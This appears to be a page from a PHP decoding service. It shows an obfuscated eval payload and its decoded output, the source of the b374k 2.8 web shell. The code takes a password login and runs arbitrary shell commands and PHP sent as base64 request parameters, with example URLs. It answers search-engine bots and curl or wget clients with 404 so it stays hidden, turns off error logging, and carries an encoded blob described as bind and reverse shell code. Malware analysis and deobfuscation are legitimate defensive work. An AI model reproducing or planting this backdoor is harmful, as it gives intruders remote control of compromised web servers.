Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ?><?php eval(str_rot13(gzinflate(str_rot13(base64_decode('tP3XruR3liYIXnQC9Q7egU9Sc..

Decoded Output download

/*
	b374k 2.8
	Jayalah Indonesiaku
	(c)2013
	http://code.google.com/p/b374k-shell

*/
$s_pass = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // default password : b374k (login and change to new password)

$s_ver = "2.8"; // shell ver
$s_title = "b374k ".$s_ver; // shell title
$s_login_time = 3600 * 24 * 7; // cookie time (login)
$s_debug = false; // debugging mode

@ob_start();
@set_time_limit(0);
@ini_set('html_errors','0');
@clearstatcache();
define('DS', DIRECTORY_SEPARATOR);

// clean magic quotes
$_POST = clean($_POST);
$_GET = clean($_GET);
$_COOKIE = clean($_COOKIE);
$_GP = array_merge($_POST, $_GET);
$_GP = array_map("ru", $_GP);


if($s_debug){
	error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
	@ini_set('display_errors','1');
	@ini_set('log_errors','1');
	foreach($_GP as $k=>$v){
		if(is_array($v)) $v = print_r($v, true);
		echo "<span>".hss($k."=>".$v)."</span><br />";
	}
}
else{
	error_reporting(0);
	@ini_set('display_errors','0');
	@ini_set('log_errors','0');
}

$s_auth = false; // login status
if(strlen(trim($s_pass))>0){
	if(isset($_COOKIE['b374k'])){
		if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
	}
	if(isset($_GP['login'])){
		$s_login = kript($_GP['login']);
		if(strtolower(trim($s_pass)) == $s_login){
			setcookie("b374k",$s_login,time() + $s_login_time);
			$s_auth = true;
		}
	}
	if(isset($_GP['x']) && ($_GP['x']=='logout')){
		$persist = array("theme", "cwd");
		$s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
		foreach($_COOKIE as $s_k=>$s_v){
			if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
		}
		$s_auth = false;
		if(!empty($s_reload)) header("Location: ".$s_reload);
	}
}
else $s_auth = true;

// This is a feature where you can control this script from another apps/scripts
// you need to supply password (in sha1(md5()) format) to access this
// this example using password 'b374k' in sha1(md5()) format (s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34)
// give the code/command you want to execute in base64 format
// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
// example:
//		http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&cmd=dW5hbWUgLWE=
// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
//		http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&eval=cGhwaW5mbygpOw==
// recommended ways is using POST DATA
// note that it will not works if shell password is empty ($s_pass);
// better see code below
if(!empty($_GP['s_pass'])){
	if(strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))){
		if(isset($_GP['cmd'])) echo exe(base64_decode($_GP['cmd']));
		elseif(isset($_GP['eval'])){
			$s_code = base64_decode($_GP['eval']);
			ob_start();
			eval($s_code);
			$s_res = ob_get_contents();
			ob_end_clean();
			echo $s_res;
		}
		else echo $s_title;
	}
	die();
}

// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
	header("HTTP/1.0 404 Not Found");
	header("Status: 404 Not Found");
	die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
	header("HTTP/1.0 404 Not Found");
	header("Status: 404 Not Found");
	die();
}


// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell
// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
$s_css = "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